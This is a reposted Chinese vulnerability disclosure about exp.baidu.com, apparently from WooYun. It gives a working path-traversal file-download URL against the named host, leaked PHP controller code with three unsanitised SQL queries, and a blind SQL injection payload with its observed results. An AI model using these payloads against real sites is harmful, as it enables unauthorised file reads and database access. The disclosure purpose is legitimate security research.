当前位置: 移动技术网 > 网络运营>安全>网站安全 > 百度分站任意文件下载多处SQL注入漏洞

百度分站任意文件下载多处SQL注入漏洞

2018年03月25日  | 移动技术网网络运营  | 我要评论

百度分站任意文件下载,三处SQL注入漏洞打包

今天无意间翻到一个网站:http://exp.baidu.com/?r=site/home

仔细一看怎么那么像之前提交的漏洞http://wooyun.org/bugs/wooyun-2016-0198361

中的网站http://tiyan.baidu.com

QQ截图20160519220308.jpg



试下之前的任意文件下载漏洞还是存在!

http://exp.baidu.com/static/img.php?s=16,40&n=....//....//index.php%00.png
 

QQ截图20160519221052.jpg



原来只是换了个域名而已,还是原来的系统一模一样。



通过下载文件信息发现了其中的多处SQL注入

注入一 混脸熟提交页面,判断用户名是否存在时未作任何处理。导致SQL注入

UserController.php

 

/**
     * 混脸熟 - 提交
     */
    public function actionProfileBaseSubmit() {
        // 1.1 基础判断
        if(!User::isValidProfileToken($_POST['profile_token'])) {
            Yii::app()->user->setFlash('profile_base', '凭证失效,请刷新页面重试');
            $this->redirect($this->createUrl('user/profile', array('page' => 'index')));
        }

        if(!$this->user) {
            $this->redirect($this->createUrl('site/home'));
        }

        // 2.1 获取参数 - 保存
        if(!StringUtils::isEmailFormat($_POST['User']['email'])) {
            Yii::app()->user->setFlash('profile_base', '邮箱格式不符合,请检查修改之后再保存');
            $this->redirect($this->createUrl('user/profile', array('page' => 'index')));
        }

        if($this->user->isExistUsername($_POST['User']['username'])) {
            Yii::app()->user->setFlash('profile_base', '该昵称已被抢先注册,请换另外一个吧');
            $this->redirect($this->createUrl('user/profile', array('page' => 'index')));
        }

        $_POST['User']['note'] = strip_tags($_POST['User']['note']);

        // 3.1 添加勋章记录 user_info_step 用一个数组[1, 2, 3, 4, 5]
        $this->user->updateMedalProcessUserInfoStep(User::USER_INFO_STEP_BASE);

        #   已经验证的手机号不允许修改
        if( (int)$this->user->mobile_authenticated == 2 ){
             $_POST['User']['mobile']= $this->user->mobile;
        }

        $this->user->attributes = $_POST['User'];
        if(!$this->user->save(false)) {
            Yii::app()->user->setFlash('profile_base', '操作失败,请稍后尝试');
            $this->redirect($this->createUrl('user/profile', array('page' => 'index')));
        }

        // 4.1 更新用户个人资料完成进度
        $this->user->updateUserCompletion($this->user);




models/user.php
 

/**
     * 判断是否存在该用户名
     * @param $username
     * @return bool
     */
    public function isExistUsername($username) {
        $count = $this->count("username = '{$username}' AND id != {$this->id}");

        return $count > 0 ? true : false;
    }




注入二 添加用户标签 tag_ids 参数未作过滤导致注入
 

/**
     * 用户标签 - 添加 - 标签
     */
    public function actionProfileSaveTag() {
        // 1.1 更新用户资料完成进度
        $this->user->updateUserCompletion($this->user);
        $this->user->updateMedalProcessUserInfoStep(User::USER_INFO_STEP_TAGS);
        $tagIds = trim($_POST['tag_ids']);

        $arrTagIds = array_filter(explode(',', $tagIds));
        $strTagIds = implode(',', $arrTagIds);

        // 2.1
        $this->user->tag_ids = $strTagIds;
        if(!$this->user->save()) {
            Yii::app()->user->setFlash('profile_tag', '保存标签失败');
        }

        // 3.1 更新用户个人资料完成进度
        $this->user->updateUserCompletion($this->user);

        $this->redirect($this->createUrl('user/profile', array('page' => 'tag')));
    }



PlazaController.php页面的option 参数没有过滤 存在SQL注入
 

public function actionVoteSubmit() {

        $voteId = intval($_POST['vote_id']);

        $options = $_POST['option'];

        if(!$options || count($options) == 0) {

            $this->redirect($this->createUrl('plaza/viewVote', array('id' => $voteId)));

        }



        $vote  = ActVote::model()->findByPk($voteId);



        // 0.0 判断该用户是否参加过在投票

        $hasVoted = ActVoteRecord::model()->hasVoted($this->user->id, $voteId);

        if($hasVoted) {

            $this->redirect($this->createUrl('plaza/viewVote', array('id' => $voteId)));

        }



        // 0.1 判断是否为多选并且该投票有限制多选的最多数量,如果超过,则截取前$vote->limit_num个

        if($vote->type == ActVote::TYPE_MULTI && $vote->limit_num > 0) {

            if(count($options) > $vote->limit_num) {

                $options = array_slice($options, 0, $vote->limit_num);

            }

        }



        // 1.1 选项选中数(selected_num) +1 & 投票的participate_num + 1

        $strOptionIds = implode(',', $options);

        $voteItem = new ActVoteItem();

        $voteItem->updateCounters(array(

            'selected_num' => 1

        ), "id in ({$strOptionIds})");

 

我这就测试下第一个注入
 

QQ截图20160519222450.jpg



admin' and LENGTH(USER()) < 25 and 1='1 用户名存在
 

QQ截图20160519222559.jpg



admin' and LENGTH(USER()) < 24 and 1='1 提交成功

LENGTH(USER()) == 24

解决方案:

修复

如对本文有疑问, 点击进行留言回复!!

相关文章:

验证码:
移动技术网